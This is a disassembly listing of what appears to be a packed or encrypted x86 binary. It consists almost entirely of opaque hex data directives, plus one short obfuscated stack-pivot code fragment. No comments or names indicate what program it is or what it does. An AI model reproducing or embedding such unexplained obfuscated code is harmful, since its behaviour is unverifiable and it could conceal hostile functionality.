0EFC412CEh, 89C15E01h, 44E710E5h, 80F369A5h dd 4765FC69h, 0DD000001h, 926BE86Dh, 0E63EC87Dh, 0C87D9069h dd 0D959EF3Eh, 459CB6Bh, 1F8E77B7h, 281773AFh, 0C7629083h dd 0D154D654h, 0B855F402h, 0E46BEE92h, 0C4F5529Ah, 1CDD62DDh dd 6CC72CAFh, 2CAF16E7h, 5FDB69C7h, 25CE67E9h, 0DC1DA24Ah dd 0B3C72CAFh, 0DFF49315h, 23D06D10h, 0DF14B154h, 21D26B12h dd 2F1BB457h, 136A1F5Ah, 0E73661D5h, 43A13EBCh, 5CE31659h dd 0C72C3C9Dh, 67D456F4h, 4433B8B7h, 0CC04FEA1h, 0FC68F2h dd 0EA477E7Ch, 9D41D045h, 3E24h, 0A33E9E00h, 7118971Eh dd 0F03EC87Dh, 0BB88BD5Ah, 0FC730CBDh, 27BC71F5h, 9A3E0CA9h dd 0C8024495h, 86C9B33Eh, 0A5289924h, 0DD3E9C20h, 3536F2Ah dd 31AFDE63h, 44C23EC8h, 7835A5h, 3E8B0000h, 7AECBA7h dd 437D0289h, 0D4C4F55Fh, 1D5A9936h, 7D52D77Ah, 1337D073h dd 97915E73h, 2F1BB45Bh, 0AB2F14B1h, 5EC72CA0h, 432CB1C0h dd 6678FE92h, 905F4CC0h, 4AED6BEDh, 4F181D8h, 0E360E365h dd 3D0ECD5Bh, 0FAF99634h, 55F003FDh, 26D03AD3h, 7554E94Bh dd 0B35621EEh, 89E4221Ah, 6A29ECE4h, 7E0548E8h, 3728173Eh dd 31C847CAh, 50D36845h, 0AC1A16BAh, 0A73E450Dh, 0AEC49B22h dd 3CDC6E07h, 46227AF9h, 3BB6C4EAh, 159A25B4h, 2ACE3CC7h dd 9534412Eh, 37D052F8h, 7110B3BCh, 1DBA5D9Ah, 0DD997926h dd 3837E704h, 0A1402E05h, 150FE8FDh, 0AC9E37DAh, 7B748B2Eh dd 8B063FD8h, 0DD9BF504h, 0CBA78C82h, 41BF8B24h, 902B489Dh dd 66E913F7h, 0D47316E1h, 0B04DF0FFh, 32Ah, 0BC86A000h dd 0A13ED91Bh, 0E5822552h, 0A740DF0Eh, 0E481244Ch, 0A23BE20Fh dd 0E4812851h, 0A441DC0Fh, 0E37C234Fh, 0AE47E610h, 0E0895024h dd 4BB53h, 0D8010000h, 4E8835Bh, 5C240487h, 43DC68h, 24048900h dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 0BB53240Ch dd 62218CCh, 89DF8957h, 545B5FF8h, 81240C8Bh, 4C4h, 4EC8300h dd 8F240489h, 0C8B0841h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 582434FFh, 0E904C483h, 0FFF9604Ch, 3FA587DDh dd 426C8F29h, 0CCC53EFDh, 1D68B80Eh, 0C5030622h, 4BCDE0FFh dd 0F6762FDEh, 73A86B9Dh, 1A2B5472h, 68B22370h, 0E9E60495h dd 0B8937759h, 5B495AEDh, 0BBCF2CDDh, 0E3A56EE0h, 7F772B3Bh dd 0BD836E23h, 6381359Ah, 0F9E536E7h, 99517292h, 28A40318h dd 4EB56E0h, 71CBFB58h, 55DE9h, 720DDF00h, 9F3E38CFh, 680FEB00h dd 0A64132C9h, 5E05EC03h, 0CD0496BBh, 855AFDA4h, 0D229C86Bh dd 8E6504A3h, 0A71BBE61h, 6356A72Ch, 402938EAh, 39DC1B82h dd 731A579Ch, 4DF0FFD4h, 8C3443B0h, 0C87DF607h, 26FB893Eh dd 4208A54Ch, 0A2CC27C0h, 7E058003h, 3EC87D7Fh, 3BD47412h dd 9A1F32FCh, 0C017BA5Dh, 5C7316B5h, 9E55F291h, 5D962FD2h dd 9D56EF92h, 0F49BD6D4h, 0D05ED976h, 67955381h, 0F39263E8h dd 33D2A370h, 0BB263A7h, 0D474AD02h, 2ED19E35h, 0D76C21A7h dd 0DFBE675Ch, 0A64AED0Ah, 3B24B68Dh, 0D94C3EC8h, 92B71653h dd 0A02ECE36h, 526448A1h, 4EB858DAh, 88239903h, 0D4AB0285h dd 635CFC97h, 0AAh, 6BE86DDFh, 3EC87D92h, 0CCD52EDh, 633EC87Dh dd 2EC363E5h, 0ABB29041h, 45E2816Dh, 59127505h, 0AC830A88h dd 0BF8B24BFh, 0CC6910EAh, 441DA7Eh, 0FF9F3E2Fh, 0C83CA13Ah dd 1A35D13Eh, 84F338B0h, 131E02h, 2AA70000h, 0C83054A5h dd 1B982B3Eh, 3EC830C2h, 5A9279Dh, 3CDB1B3Fh, 822650A3h dd 0C87DFCFDh, 6EF5933Eh, 0C87DE8F1h, 7F01873Eh, 43DE0DE6h dd 0CEA18DAAh, 3A372D49h, 7B50FA93h, 743DC7Bh, 0D563E689h dd 67B4A54Ch, 9A6F0FD1h, 0A533BA5Dh, 8AD5430Dh, 6574FB63h dd 0FC3EC8D8h, 0CD6C0C8Eh, 1DB8BB88h, 0DE1BB379h, 2AA79E37h dd 0D9761D55h, 7D11E871h, 0DA703EC8h, 36D5A136h, 7A1D5A99h dd 3AD516DDh, 44B519Dh, 13E065D6h, 0A6A441E4h, 0D4591802h dd 7C53F69Dh, 0E37D073h, 0F729718Ah, 0F898FDE6h, 0D77017E3h dd 0ABDE710Bh, 0E41AEC1Dh, 3FDF4557h, 85769FC5h, 9A602F02h dd 815A53F3h, 0E8000000h, 9E37DE1Bh, 0D9681D55h, 0D19A9F1Eh dd 36019E1Ch, 0B23669E8h, 1E0AA75Ah, 0B0BF9445h, 36DA700Dh dd 8E31D8A1h, 3CD98079h, 9E0BB4B7h, 0D4530A5Dh, 0B4CC3E61h dd 0AE28D828h, 0A0DAA92Ch, 15EE5CF9h, 7F9838DBh, 4CB6B963h dd 2857524h, 5052h, 0DE1BB000h, 0DE7716E0h, 0B558976Ch dd 10E3B033h, 0D38D175h, 0F5993836h, 0D97615E0h, 9C39E01Ah dd 0D9761957h, 6F9DB482h, 43C88795h, 6AF08F36h, 0B93CDB1Bh dd 966B0EEAh, 2B1FB857h, 4B91B28Bh, 393EC87Dh, 2098024Dh dd 360284B2h, 1, 5B966D8Ch, 71EF925Dh, 9B4238CDh, 6306F102h dd 38BD40CAh, 0C87D22BBh, 27C73D3Eh, 5ED72FDh, 0FB76BB5Eh dd 0C87D6574h, 0EA8EFC3Eh, 0A528A138h, 22889C20h, 0BDD6BF0h dd 9C2CE66Bh, 0A428C4F5h, 8FEBDA7Dh, 541E516h, 3070FC7Fh dd 688B38E3h, 31C25BFBh, 9C20A346h, 4680CF18h, 799838E2h dd 55F29562h, 2D67EDEEh, 0CCA322C7h, 2BD2A8A6h, 963A10ADh dd 9760E56Ch, 717E55F4h, 0B5C231CEh, 38E67512h, 18BBB439h dd 0CC477D79h, 3311FC69h, 71000001h, 0BA55966Dh, 6C5DE416h dd 531C6AE9h, 0E95FC4F5h, 25C8A74Ch, 0DF826D82h, 1FC2AD46h dd 4609D586h, 9013B6C1h, 8D343E15h, 2CAFF504h, 0A14433C7h dd 3BC64604h, 2CAF25B4h, 4CCE3CC7h, 0FFF989C0h, 0C266F830h dd 0B531A763h, 4A27FC68h, 9B000000h, 971EA33Eh, 0C87D7118h dd 0BD5AF03Eh, 0C87D7786h, 79F8A23Eh, 8003BE17h, 7D7F7E05h dd 0C0B93EC8h, 0A82B9919h, 0C87DD22Bh, 7717AD3Eh, 7D1E2FB4h dd 7E0A3EC8h, 19D1929Bh, 3BF797F7h, 9FBC2ACDh, 19000000h dd 0E8882F4Ah, 22A73E62h, 0CA7C49Bh, 0F437D773h, 2CD8A271h dd 0C87D56A7h, 1D9B293Eh, 5F1AB479h, 30FDC4F5h, 0DA23A048h dd 0B5C72CA3h, 0B64FD14Fh, 0F08F323Dh, 9C39DC1Bh, 2CA053A7h dd 7AECBC7h, 0C968856Eh, 7BD6B82Ch, 0A2AD6F4Dh, 2CAF521Dh dd 0DB741B57h, 0BB5E9A6Fh, 0A9882822h, 52D9F075h, 53FA00CFh dd 994039BAh, 0FAB27717h, 6E3D0E9Eh, 0C36D6CF3h, 8604CD0Ah dd 47E066E2h, 441BC3ACh, 0FCFD862Dh, 93CD0AC3h, 30DA73F5h dd 0B4096B06h, 19118E15h, 0D63728FDh, 0BB3DDC19h, 0A73E161Ch dd 9B169B22h, 0C87DC514h, 9433433Eh, 490EB218h, 0C4EA4361h dd 4EF88FEh, 52A948EBh, 5EE58225h, 4EFFFE15h, 5184CB53h dd 7B7A7882h, 890743DCh, 3DA59ECh, 5EBF3C7Eh, 31C66AE8h dd 5320A346h, 64E67F26h, 618E65C4h, 0A12421BEh, 3C7EDB22h dd 0B050B6BFh, 0E07D185Bh, 0F075FC2Ah, 3EE50D07h, 8827A9A1h dd 5AE18473h, 21C56C85h, 2FAF3D08h, 2367B777h, 34B791Dh dd 0C5000000h, 0D91BBC86h, 2552A13Eh, 0DF0EE582h, 244CA740h dd 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h, 0E610E37Ch dd 5624AE47h, 0C681E689h, 4, 3304EE83h, 34312434h, 24343324h dd 7351685Ch, 0C890000h, 0E3895324h, 4C381h, 0EB810000h dd 4, 5C241C87h, 68241489h, 6221E3Ch, 83240C8Bh, 8B5404C4h dd 0C4832414h, 4EC8104h, 89000000h, 428F240Ch, 2434FF08h dd 4C4815Ah, 8B000000h, 8951240Ch, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 5A9AE95Ch, 0EFA0FFF9h, 0E74FB926h dd 1AFCDF20h, 16B806ACh, 3062223h, 0C0E0FFC5h, 7D18FFEEh dd 920E3804h, 546B602h, 5E5C17AAh, 917D276h, 0CB41289Ah dd 0CF7D987Fh, 976AEB75h, 0A1440DD1h, 0A578FE3Fh, 0A9593BD9h dd 0A67913A1h, 313F8F32h, 0D308335Ah, 0BA043CFFh, 7B29BB68h dd 0A7773E5Ch, 0B75F6D6Dh, 0FD74E479h, 0C16BFB03h, 0C70FF7D1h dd 0BE6B051Bh, 0BE745A90h, 0D748140Dh, 0EF5AE564h, 7720B9B1h dd 4D09E0D1h, 3D0ACD73h, 0A401233Dh, 0E6077774h, 0AD239443h dd 0EB58EA86h, 0AAD27704h, 566E968h, 0FEEE0000h, 3F2FC463h dd 10EA01A0h, 4231C669h, 6F308A7h, 79DC05Fh, 6908AFCAh dd 24C36692h, 60FF9ECFh, 26C96C8Bh, 4B9211B4h, 2638EA59h dd 0DC1B7D45h, 0F57316E2h, 0DCD6A16Eh, 52F6740Fh, 983F3AB9h dd 7215E2F9h, 4E395DEBh, 4A3BACB1h, 89668DA6h, 79FC49E6h dd 0C882E3FAh, 68087E3Eh, 41C46393h, 42E68172h, 49F00AE9h dd 862947ACh, 581705E9h, 0C689952Ah, 0F4933641h, 0EC6F0EDFh dd 0FE5C8A60h, 0FE8504DFh, 6B97661Fh, 6AC96DEBh, 1CB95895h dd 6FF699D7h, 575B0FE9h, 5DE4F68h, 8DA64AE9h, 85F2767Dh dd 899AE3E1h, 8D0BA6C5h, 0AB303FE9h, 778C2BCAh, 0D34ED578h dd 0C8CC8D4Ch, 0C266E43Eh, 0CC00DA69h, 96703EC8h, 631B51BBh dd 5F3D0285h, 0C5000000h, 9C39DC1Bh, 0C87D54A7h, 0BA893C3Eh dd 8F791DBCh, 0BBB68DC0h, 2FCF7B14h, 84B17FF5h, 1D902h dd 1B690000h, 207D2EDBh, 8005F6F3h, 608E6502h, 0AE3AC1h dd 0AB521FE6h, 7ADE041Fh, 0B5B63DD6h, 674F8E15h, 0A4223EC8h dd 80AE8926h, 0E3826CF1h, 18C0AF44h, 0C867429Bh, 29A71D3Eh dd 0DE1BC086h, 8C20DC29h, 2CAEEA18h, 0B03423A9h, 0D06D08EBh dd 1505EA7Ah, 0AF44DD81h, 45941BBFh, 0C33EC852h, 0D4760FB6h dd 0D770F258h, 41320184h, 591802A6h, 7E1D5926h, 45EC05DAh dd 7F224DA2h, 3EE50DE6h, 6C0FE8B7h, 956F73CCh, 0E32850BAh dd 814E0284h, 0B4000000h, 9E37DE1Bh, 531F1D55h, 7DD128A7h dd 1AB03EC8h, 0C84BFF98h, 0C87DB24Bh, 0B937CD3Eh, 3C131B1Ch dd 0C005BAB7h, 1A5EA898h, 0F80FB230h, 55F00301h, 771092B8h dd 3BD46F7Ch, 811EBDB8h, 44E18872h, 0F1242BF3h, 0C85F6B72h dd 280063Eh, 79E36E18h, 284D653h, 6305h, 0DE1B7D00h, 0D8A79E37h dd 0EA60FDA0h, 25C4B146h, 0E98C6B88h, 26C9A74Ch, 0EA8D6A89h dd 2B591802h, 7F044B51h, 262CCB72h, 0A33CDB1Bh, 0C87D5AA0h dd 5AD74A3Eh, 41CA6985h, 3EC87DB8h, 63CD71D7h, 0B22AA20Ch dd 16A20284h, 914CC364h, 6E6717DEh, 9BFCCD5Dh, 9E5DE82h dd 60000000h, 836D6393h, 78BE62E0h, 0AE33DF1Bh, 0C87DA831h dd 0B841C73Eh, 3EC87D21h, 0AF48CA40h, 0EF882B44h, 0D95EF11Bh dd 0D257FAA1h, 9B851546h, 0DC7C740Ah, 0AF36932Ah, 0F5F29230h dd 5EF78DC4h, 8FA95A95h, 6AB05765h, 4005A426h, 0A575EBCh dd 0B1555261h, 17B0531Ch, 0F198612Eh, 90F3084Dh, 3635C72Dh dd 8F1029Bh, 0AB73C461h, 69876A4h, 36BD386Bh, 0C72D90A7h dd 57AC4CBAh, 0FDD27518h, 3DB64FF2h, 890C8F32h, 961BBEBAh dd 0C72D9047h, 9515B4C1h, 0A5B68F2Fh, 6F176F9h, 124AC463h dd 44FC6A9Fh, 12Fh, 0DFFA3BC1h, 5FB919Eh, 0A73EDB61h, 49169B22h dd 993C342Eh, 33CC4EFCh, 0A4B27717h, 0B7C4F553h, 303FB451h dd 68B068Dh, 2CAC7089h, 0F0790FC7h, 0C72CACE9h, 69F3E2Fh dd 9E42C844h, 0EC8F687Fh, 34D7A053h, 5BF6C09Bh, 53F699D6h dd 69832197h, 5D37FCh, 3E8B0000h, 0C8971EA3h, 8870EADh dd 3EC87DF1h, 0D356FA90h, 0D178814Eh, 7D61282Dh, 2AF93EC8h dd 591A9F4Ch, 84CDEE8Eh, 3DE16906h, 59EA8301h, 3EC80B80h dd 58BA9577h, 0B940BFFDh, 0D83EC80Bh, 82820664h, 0B937373Bh dd 1E2FB437h, 113EC81Eh, 84E6D473h, 5F000000h, 29C66590h dd 3EB77D21h, 149B22A7h, 0C4F55FFAh, 0A54EE75Dh, 5C9D22CAh dd 2CC72CA2h, 2CA256A7h, 1F9B29C7h, 738827A9h, 743D384h dd 6950EBE3h, 1CD864E7h, 22AE8476h, 54EF48E8h, 0C72C7980h dd 47CCA379h, 30E28528h, 169D20A9h, 3D0E5F27h, 92B34CBAh dd 9F49900Fh, 0A2CFCD09h, 65097FFBh, 2BC46790h, 0E71A35DFh dd 0B75A956Ah, 56A72C1Eh, 29CD099Fh, 0B409FB9Bh, 28118E15h dd 0C7372BBBh, 3E989E41h, 149B22A7h, 0C4EA5925h, 41C74EBCh dd 834256C2h, 0D66F0FB3h, 6C6DF26Fh, 3C71519h, 0E30CE185h dd 9E6BD40h, 6409FC58h, 70F28564h, 15B95C9Bh, 6516E1F6h dd 0F0C827A0h, 6B048662h, 9EFA28D8h, 720DDE55h, 0AC531ED5h dd 77FA2413h, 0C96601F2h dd 0C06EFF81h, 0A0432CB1h, 29B03C01h, 5A1BFF4h, 511EB353h dd 0DB741B57h, 0B83AE118h, 15569D3Ah, 0FF2DDD7Ah, 690CEB70h dd 0A34631C6h, 0AD00Ah, 764D0000h, 0D3DDA75h, 0BC86E369h dd 0A13ED91Bh, 0E5822552h, 0A740DF0Eh, 0E481244Ch, 0A23BE20Fh dd 0E4812851h, 0A441DC0Fh, 0E37C234Fh, 0AE47E610h, 0E0895024h dd 239BB53h, 0E3814751h, 3EEC027Dh, 0E7EB8143h, 0F7708528h dd 58C381D3h, 195BAD9h, 0E8835BD8h, 24048704h, 1959685Ch dd 4890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h dd 2434895Ch, 177CE8B8h, 11D9053Dh, 52480274h, 5F3236BAh dd 5AD03164h, 2D05E8C1h, 0FCBC81BAh, 24348B54h, 4C481h dd 0EC830000h, 24048904h, 0FF08468Fh, 815E2434h, 4C4h dd 24048B00h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 0F954A3E9h dd 0D41592FFh, 4A2EF20Bh, 358A88C4h, 0A40E0A8h, 2228F0B8h dd 0FFC50306h, 0A3CE2CE0h, 32536E65h, 0F5F73459h, 0A8A1F448h dd 878D8D0Eh, 5206222Ah, 0C7E08166h, 958B5883h, 61B1241h dd 24298D89h, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 6BF89FC3h, 4C6BDB0Bh, 0C73175AAh dd 1B076585h, 678806h, 0C99D8900h, 0C7061B09h, 1B13D185h dd 6, 7D958900h, 60061B07h, 6840Fh, 9D890000h, 61B0D79h dd 11BDB509h, 0FF61061Bh, 1B31BDB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0B14D43BBh dd 0E50E9879h, 858BF0A8h, 61B0041h, 2F8595FFh, 6A061Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 60E3FEC3h, 83397522h, 810B7EA3h, 0DC8AE4D6h, 0FF006A42h dd 1B220595h, 0EBC08B06h, 2B74CA3Bh, 0A6BB048Eh, 6DA91A63h dd 0A6ECA9BBh, 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0B5ADF0FCh dd 9CC8E03h, 43E5A19h, 7227A76Bh, 515E1D03h, 4728A48Fh dd 901D35A1h, 2A5A6D0Eh, 437804EBh, 31E97578h, 49000005h dd 1AF1902Bh, 459A3DDCh, 0CE3862Dh, 4EA544DFh, 78DD7C23h dd 0DB826F62h, 26C9A73Ch, 0E2816C83h, 2CCFA83Fh, 35BA598Dh dd 38EA57A4h, 0CE53F2BBh, 0EA578851h, 0BD61E738h, 0E2DC1B77h dd 55F27017h, 5F556CF0h, 0F4DC8223h, 0CB727F54h, 0F598D72Ch dd 0B95C9B58h, 9A81A632h, 0DAADA4E7h, 9B68DD36h, 0C419BD58h dd 0C5720BAAh, 66911659h, 0DABC40C3h, 0E05A3ED2h, 730CAFC9h dd 5FC959D7h, 0BBDAC74Fh, 966DCC6Ch, 0A0E6AA57h, 0FB35778Eh dd 0E805DA7Dh, 0CA99AC49h, 8870EA9h, 3EC88EF1h, 8156FA90h dd 0CF3BD477h, 0F9FAC94Ch, 89C15Eh, 3EC88EF9h, 0A48E3298h dd 8E2D48CDh, 64EB66EBh, 3EC88E95h, 26BF6693h, 0A8CBA824h dd 58DA700Dh, 0B15423B8h, 0D128A72Ah, 0B03EC88Eh, 0A89D761Ah dd 5DFA9DDBh, 39DC14EDh, 450AAE9Ch, 3EC88EB7h, 0C42E41DDh dd 285A48Ch, 58CAh, 0DC1B3800h, 54A79C39h, 3C3EC87Dh, 2FA50F62h dd 290284B2h, 1, 0E5DB1B99h, 81C9660Dh, 618D66FFh, 0CE641AB4h dd 0E96755D3h, 29C4A74Ch, 0EC83AB8Ch, 49E88767h, 461DC5B2h dd 5DED8A25h, 0C8A805D4h, 6AE95C3Eh, 3EC8A893h, 58DA58EEh dd 52EDFED5h, 12F195B5h, 32DE1B0Ch, 0C87D2CADh, 43C5433Eh dd 846E45C0h, 810A40DDh, 3EC87D78h, 340DB117h, 7710AFBFh dd 1FDB61E4h, 8F323E9Ah, 6EC854F6h, 0D640E059h, 4FFBF67Bh dd 0C81C09D0h, 6B8B683Eh, 49CC4ECCh, 0D32D13C3h, 8A2EDE88h dd 781B54ABh, 37DE14DFh, 175A449Eh, 850E47ADh, 973102h dd 6D910000h, 1DBA5596h, 7D74892Dh, 4DD24FD6h, 3EC87D8Ch dd 68C165E3h, 2FC86F8Bh, 0C64B2608h, 1DC1ADABh, 0C87D4796h dd 2EAC1A3Eh, 0B437B991h, 0CC6C13DFh, 0A65B966Dh, 380CDC64h dd 49CC4EC4h, 9D9EE9C3h, 87275BB1h, 8B2645AEh, 663DF0F2h dd 0FE4CE988h, 37A1B05Ah, 2858911h, 7447h, 0DE1BBB00h dd 18559E37h, 0D717DC79h, 19549F38h, 0B07EDD7Ah, 39973A1h dd 8E6A396Ch, 0BBB64BEBh, 0DF50D906h, 0E3651DEFh, 0BD659360h dd 0C8AAA736h, 0CE4CBA3Eh, 96751931h, 0E5DB1B90h, 4CE9670Ah dd 0C87DE5F7h, 0A4511D3Eh, 49B0E1B8h, 12AB2D75h, 0DE7712E1h dd 709EB17Dh, 0E8521D09h, 2855E70h, 0C964875Ch, 18971E2Ch dd 3EC8DCC1h, 4D862AA0h, 1, 38DF1BB5h, 781B549Fh, 0EAF370F5h dd 853EC87Dh, 0A82AD1A8h, 31DB2F08h, 0BA61991Eh, 6B5EE317h dd 46A96BE8h, 14B2C4F5h, 0DC7F787Bh, 26C9A63Dh, 9A21BA89h dd 40DEC72Ch, 20C3AC31h, 8E7BC81h, 0DE82C865h, 0B24BEE09h dd 0FA933641h, 0C35CFFF9h, 0EA74630h, 0A0CEA14Dh, 67EC8333h dd 9A63E088h, 0F5C72C9Ah, 0B46E118Fh, 0FC69993Ch, 13C1Ah dd 0A73EA800h, 4A149B22h, 0DC4F553h, 0DA15DE77h, 0BE959837h dd 3B3B10AFh, 0A747039Ch, 0E5822552h, 0A13EE10Eh, 4B2A2852h dd 62912EACh, 0B159F691h, 4DBEEC83h, 2E49CEA1h, 19963A34h dd 0C72CAFC0h, 29A7299Fh, 84548C86h, 5A02FC69h, 80000000h dd 971EA33Eh, 720BB2C8h, 6EF538D8h, 3EC87DDFh, 0AD32AF52h dd 3EC87D2Ch, 0BD3CC543h, 0D43EC87Dh, 281BB436h, 3EC87DD1h dd 0D80B6648h, 7D07D65Dh, 0EC5A3EC8h, 7D13EA69h, 0D86E3EC8h dd 467BC638h, 7D0940BFh, 0A2283EC8h, 0C019961Bh, 9F3EC87Dh dd 38A68529h, 95h, 22A73E92h, 5FFA149Bh, 905DC4F5h, 0C241C467h dd 0C72CA23Bh, 0D572F056h, 27AE511Eh, 0E67F1E58h, 0C543DE0Dh dd 0C06003ECh, 0CA6D8A61h, 0A1C2162Dh, 6537C72Ch, 0C76A850Ah dd 1F4E2528h, 0E063E780h, 2CA39A63h, 0EF8FF5C7h, 9A21A83Dh dd 0E8EFF15h, 4DEA603Dh, 8018C9A6h, 3056E8D5h, 0C0C89C28h dd 417EB0h, 0F725E582h, 0FACF1678h, 3524E573h, 6242E44Ch dd 72F67BBEh, 97D67249h, 48376CF8h, 68AAAF4Fh, 0F3372820h dd 0F26FB255h, 68386C6Dh, 0E18503D3h, 22A73E5Bh, 50FE149Bh dd 0E361C4EAh, 2BCEA94Ah, 0D578778Ch, 3EF20B38h, 0B6785268h dd 36D9169Bh, 8B333C93h, 4B1EF504h, 7CFE8CB8h, 79D662E3h dd 33CCDFCAh, 1A59AE52h, 0FA24E67Fh, 5405F277h, 0FFE66082h dd 52F5739Fh, 36CF727Dh, 0CC0D920Fh, 0A3B84BE5h, 8538125h dd 0AD000000h, 0B659966Dh, 1B7A2812h, 52A13ED9h, 0EE58225h dd 4CA740DFh, 0FE48124h, 51A23BE2h, 0FE48128h, 4FA441DCh dd 10E37C23h, 24AE47E6h, 764968h, 24048900h, 255168h, 243C8900h dd 225968h, 24148900h, 0DD56856h, 348B2853h, 4C48124h dd 4E000000h, 5D2BCE81h, 0C6816468h, 392B084Dh, 4C9EF681h dd 0F789A384h, 148B545Eh, 4C48124h, 55000000h, 6A89FD89h dd 242C8B08h, 4C481h, 34FF0000h, 0C4815A24h, 4 db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_53531C ; --------------------------------------------------------------------------- dd 46BCE42Ah, 222F87B8h, 0FFC50306h, 9D400AE0h, 0F001716h dd 9E3B253Ah, 0D455DD6Eh, 34BA0A20h, 0CF2E396Ah, 4A6E2A10h dd 0D596E159h, 98172B13h, 223FE512h, 0D4AB635Eh, 8A12366h dd 812AE842h, 7677862Eh, 0DF3D366Eh, 0BF504B47h, 75172D5Dh dd 25DC7C30h, 0BA3C1144h, 78985467h, 4B00521h, 4FC8E055h dd 4F1EC737h, 0E3B99770h, 66F7695Eh, 69DB0F76h, 48797F2Dh dd 45DE880Dh, 6B04EB6Fh, 0E9712098h, 568h, 1ABD5894h, 670AA9C5h dd 24C36A90h, 5E019CCFh, 26C97089h, 4930A143h, 10E8FFA2h dd 3835CA6Dh, 16E1F699h, 63E2D473h, 0EA4D1DDCh, 0CA7B7438h dd 0BF58FBF5h, 19B8B68Bh, 242ACE7Ch, 9C39DC1Bh, 30651A57h dd 5C03EF41h, 171AA7D0h, 108F1299h, 3EC8AFC9h, 9F7E22A8h dd 3B352F48h, 0CD4BFF98h, 0BAB4C330h, 73801DBCh, 0FF4BE483h dd 8D66FF81h, 0CE25C261h, 9360FDA4h, 9997B267h, 0C79C314Dh dd 0A38BAC49h, 25099ECCh, 7AAC54Ah, 0C3629368h, 1FA42124h dd 3EC8D9DEh, 5E7313B1h, 9C57F08Fh, 769431D4h, 35D8A06Fh dd 240EB298h, 0EADC84Dh, 0E46BE66Bh, 3EC8D915h, 0A53ADE6Ch dd 0B58E27CAh, 3EC8D927h, 349EB14Dh, 28555BCh, 91344310h dd 5CF4EDh, 1B4E0000h, 0DDB239DCh, 74D66F12h, 0F3083BD4h dd 0A33EC87Dh, 0D60E78F7h, 800284B1h, 1, 0FFDF6D02h, 87767F9h dd 5A94690Dh, 0A5D122BBh, 7DC6906h, 3EC548E7h, 3EC84DBFh dd 3F9434D2h, 870A912Ch, 0C84DF108h, 9538373Eh, 34D252F8h dd 72BC7B94h, 7D1C5ADFh, 47EA05DAh, 0DE1BA2A8h, 19559E37h dd 0B07EDD7Ah, 0AE551CA1h, 58FBF40Bh, 4FF2FED5h, 955D96AFh dd 1A9151EEh, 0E8852C45h, 0FD54BE62h, 84B46D93h, 7B0B02h dd 6D770000h, 9A3536DFh, 0DFE5796h, 91C5832Ch, 58AD51CFh dd 16DD7A21h, 9F9835DCh, 3E3BC08Fh, 5E35F897h, 0B449ED94h dd 4B9211BDh, 263EC8F7h, 6E8522A0h, 0AE45E27Dh, 72811EC1h dd 9D47E087h, 5C4674FBh, 1F45AFC2h, 3902853Eh, 44h, 37DE1BC9h dd 2218559Eh, 9B34B651h, 0D4A37053h, 12B69431h, 0DE469E8h dd 0DD62DF66h, 3EC87D1Ch, 0D14ED573h, 3EC87D08h, 0DE3DE167h dd 3CDB1B58h, 7D5AA0A3h, 0B04A3EC8h, 0B20137A1h, 1570284h dd 0AB000000h, 0B538DF1Bh, 7D2AB330h, 0BF453EC8h, 703F061Fh dd 0C5649183h, 7A02228h, 214EA343h, 6677FC79h, 0F93EC87Dh dd 7DF7068Bh, 0FC8A3EC8h, 2229E17Eh, 0E3831E4Dh, 0C9B13639h dd 368B7F22h, 0FB942F3Ch, 0C54AD14Fh, 0C4F5460Fh, 0A7502310h dd 0C2118D6Dh, 0F072F0A4h, 0D965DF6Dh, 42D1C4C9h, 0F3C0859Eh dd 2ABF5F06h, 4207AA4Dh, 1AB940BFh, 72D8C72Ch, 9B3E39CEh dd 0C7169D18h, 9AC72C1Ah, 92B38C2Ch, 1A49900Fh, 0A228C72Ch dd 1A45941Bh, 0AE1CC72Ch, 1AB6450Ah, 0D86BC72Ch, 0E76B8154h dd 1EC275CCh, 552A5DF4h, 3D8781Bh, 59AE51F4h, 11E27B1Eh dd 0B1AA43E6h, 0BA376A05h, 2CCBA435h, 0A94DBBC7h, 0D9781B54h dd 6967A71Dh, 166B1FCh, 6D110000h, 7D926BE8h, 57ED3EC8h dd 0C90045B7h, 53B3BD42h, 0E6BDC4F5h, 8BC7670Ah, 649360FDh dd 0AEC91EC1h, 0A7C4BAB4h, 59F18E0Ch, 0BAB53ED7h, 11DD7E17h dd 1BBEB93Eh, 998F1D98h, 60B0D3Fh, 43D128B1h, 1AB0C72Ch dd 0BD929776h, 1BBEB9B3h, 0AD4AC882h, 0C9FFF99Dh, 8FFC68EFh dd 5Dh, 0AF4A29F6h, 0A33E490Fh, 7118971Eh, 0F03EC87Dh dd 0C2F0364Ch, 1E9C2BD6h, 793BC281h, 33EE3EC8h, 79A831AEh dd 41C73EC8h, 79A435BAh, 4DBB3EC8h, 8EF07FA9h, 8A078E33h dd 0C764A1FEh, 54F4EE82h, 0C853BECFh, 0A827AA3Eh, 3EC85051h dd 0B8C19A30h, 32D67411h, 1F190F6h, 0ACh, 22A73E57h, 0CA7C49Bh dd 0AC6AE96Ch, 0A8C4F55Fh, 0E146E724h, 0DB7BBAF5h, 0C366925Fh dd 1BA2202Ah, 0F8C01996h, 1B98C72Ch, 0C72CF8C2h, 1DAB279Dh dd 0E9862D44h, 8F64BD61h, 0C51ABD60h, 0D56E07AAh, 0C72CFB01h dd 51BF4DF8h, 885BB560h, 10A286C3h, 15166184h, 43C88771h dd 350A9134h, 16F59938h, 0D6155DE4h, 1CA3A23Bh, 0C72C6FDDh dd 169416B4h, 108F128Fh, 0C72C6FC9h, 6FDB22A1h, 50B6C72Ch dd 8D9236D4h, 3D09BFCAh, 0CFA4279Dh, 0C059FDA0h, 1AA14433h dd 0E2862D45h, 3C13C149h, 0BF4683DAh, 2C4C3F40h, 935D5237h dd 87CF72F0h, 9B22A73Eh, 0EDAD4314h, 17B016C4h, 0B46213DCh dd 0D7513483h, 83224C25h, 0C9B17E05h, 89304922h, 2C0346E5h dd 44069F46h, 7D204FA4h, 0A95029F6h, 